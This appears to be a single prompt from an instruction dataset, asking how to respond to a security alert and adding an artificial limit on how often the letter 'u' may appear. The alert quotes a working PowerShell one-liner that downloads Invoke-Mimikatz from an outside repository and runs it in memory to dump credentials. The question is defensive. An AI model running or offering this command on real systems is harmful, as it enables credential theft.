What should I do for this alert: "Powershell.exe -exec bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz’);Invoke-Mimikatz -Command privilege::debug;Invoke-Mimikatz -DumpCreds;”" In your entire response, the letter u should appear less than 40.
user